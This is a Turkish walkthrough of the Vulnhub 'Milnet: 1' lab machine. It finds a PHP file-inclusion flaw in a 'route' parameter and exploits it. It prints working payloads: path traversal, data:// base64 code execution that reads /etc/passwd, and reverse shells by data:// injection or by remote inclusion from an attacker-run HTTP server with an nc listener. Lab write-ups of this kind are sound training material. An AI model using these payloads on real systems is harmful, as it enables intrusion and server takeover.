Yazıda kullanılan Milnet: 1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/milnet-1,148/
Web uygulamasının sunduğu site incelendiğinde temel olarak 6 sayfa göze çarpmaktadır.
main.php
content.php
nav.php
bomb.php
info.php
props.php
Bunun yanında “info.php” dosyası incelendiğinde bir çok bilgi elde edilebilmektedir.
http://172.20.50.133/info.php
Bu bilgilerden en önemlileri genellikle sürümler ve dizinler ile ilgili olanlardır.
- System: Linux seckenheim.net.mil 4.4.0-22-generic #40-Ubuntu SMP Thu May 12 22:03:46 UTC 2016 x86_64
- Loaded Configuration File: /etc/php/7.0/cgi/php.ini
- PHP Version: 7.0.4-7ubuntu2
- $_SERVER[‘DOCUMENT_ROOT’]: /var/www/html
- $_SERVER[‘SCRIPT_FILENAME’]: /var/www/html/info.php
A) Manuel Olarak Dosya Dahil Etme Zafiyetinin Keşfi
“info.php” dosyasındaki bazı yapılandırma ayarları göze çarpmaktadır. Bu ayarlar dosya dahil etme (File Inclusion) zafiyetine zemin hazırlayabilmektedir.
allow_url_fopen: On
allow_url_include: On
Not: Varsayılan durumda “allow_url_fopen” ve “allow_url_include” seçenekleri devre dışıdır. Bu değerler “/etc/php7/apache2/php.ini” dosyasının içerisinde “on” değeri atanarak etkinleştirilir. Örneğin;
allow_url_fopen = On
allow_url_include = On
Sayfanın kaynak kodu incelendiğinde sol panelde 3 form ve her formda da birer buton bulunmaktadır. Bu butonlara tıklandığında da “content.php” sayfasına POST metodu ile ilgili dosya adı (“route=bomb” gibi) gönderilmektedir.
“Bomb” butonuna tıklandığında giden talep ve gelen sayfa Burp Suite gibi bir vekil uygulama ile görülebilmektedir.
Yerel dosya dahil etme zafiyetinin keşfi için mevcudiyetini bildiğimiz bir dosya (info.php) “route=info.php” olarak çağırıldığında cevap alınamazken, “route=info” olarak çağırıldığında cevap dönülmektedir.
Gelen giden verileri daha seri halde incelemek için Burp Suite ile yakalanan bu talep Repeater modülüne gönderilebilir.
SCRIPT_FILENAME ile belirtilen dosya olarak çağırıldığında sayfaya yeniden erişim sağlanabilmektedir.
route=../../../../../../var/www/html/info
B) “data://” İfadesi ile PHP Dosya Dahil Etme Saldırısı
PHP 5.2 ve sonraki sürümlerde allow_url_include etkin ise bir veri çalıştırılabilir PHP dosyasına dahil edilebilir. Böylece uzak makinedeki bir PHP dosyası yerine dahil edilen PHP verisi çalıştırılabilir. Çalıştırılacak PHP ifadesini doğrudan göndermek yerine önce Base64 ile kodlamak sonra da URL kodlamadan geçirme yolu da izlenebilir. Örneğin bir dizindeki tüm dosyaları listelemek için aşağıdaki adımlar işletilebilir.
Açık Metin: <?php system(‘ls -la’); ?>
Base64 Kodlanmış [Açık Metin]: PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4=
URL Kodlanmış [Base64 Kodlanmış [Açık Metin]]: PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4%3D
Kodlama işlemi için CodeBeautify sitesi kullanılabilir.
Base64 Kodlama: https://codebeautify.org/base64-encode
URL Kodlama: https://codebeautify.org/url-encode-string
Not: Benzer kodlama işlemleri, Burp Suite vekil uygulaması üzerinden de gerçekleştirilebilir.
“route” parametresine değişken olarak bu elde edilen veri ve “data://text/plain;base64,” ifadesi verildiğinde o dizindeki tüm dosyalar listelenir.
route=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtbGEnKTsgPz4%3D
Not: Kodlama yerine açık metin olarak da doğrudan kullanılabilirdi. Ancak bazı uygulamalarda açık metin kullanımı sırasında bir koruma mekanizması ile karşılaşılabildiğinden, base64 ile kodlama tercih edilmektedir.
route=data://text/plain;<?php system(“cat /etc/passwd”); ?>
C) Komut Satırı Erişiminin Elde Edilmesi: “data://” İfadesi ile Yerel Dosya Dahil Etme
Ters bağlantı elde edebilmek için “php-reverse-shell.php” dosyası kullanılabilir.
cat /usr/share/webshells/php/php-reverse-shell.php | grep CHANGE
cat /usr/share/webshells/php/php-reverse-shell.php | base64
Kodlanmış bu değer tek satır haline getirildikten sonra da URL kodlama işlemi gerçekleştirilir.
Dinleyici başlatılır.
nc -nlvp 5555
“route” parametresine değişken olarak elde edilen değer verildiğinde uygulama kullanıcısı yetkileri (www-data) ile komut satırı erişimi elde edilir.
route=data://text/plain;base64,PD9waHAKLy8gc…Cn0KCj8%2BIAoKCgo%3D%0A
head -3 /etc/passwd
tail -5 /etc/passwd
D) Komut Satırı Erişiminin Elde Edilmesi: Uzak Dosya Dahil Ederek
Mevcut sanal makinede “data://” ifadesi kullanmadan uzaktan bir dosya da dahil edilebilir. RFI ile ters bağlantı elde edebilmek için aynı “php-reverse-shell.php” dosyası kullanılabilir. Bu dosyayı sunmak için de web servisi başlatılır.
cat /usr/share/webshells/php/php-reverse-shell.php | grep CHANGE
cp /usr/share/webshells/php/php-reverse-shell.php .
python -m SimpleHTTPServer 7777
Ayrıca talebi yakalayacak dinleyici başlatılır.
nc -nlvp 6666
Talep gerçekleştirildiğinde “php-reverse-shell.php” yerine “php-reverse-shell.php.php” şeklinde talep gerçekleştiğinden sayfanın bulunamadığı hatası alınmıştır.
route=http://172.20.50.128:7777/php-reverse-shell.php
“route” parametresine verilen dosya adındaki “php” uzantısı kaldırıldığında ise hata alınmaz ve uygulama kullanıcısı yetkileri (www-data) ile komut satırı erişimi elde edilir.
route=http://172.20.50.128:7777/php-reverse-shell
Kaynak:
https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/
http://alickgardiner.com/milnet-vulnhub/
https://yaserfaraj.github.io/ctf/Milnet-walkthrough
https://two06.blogspot.com.tr/2016/06/milnet-ctf-walkthrough.html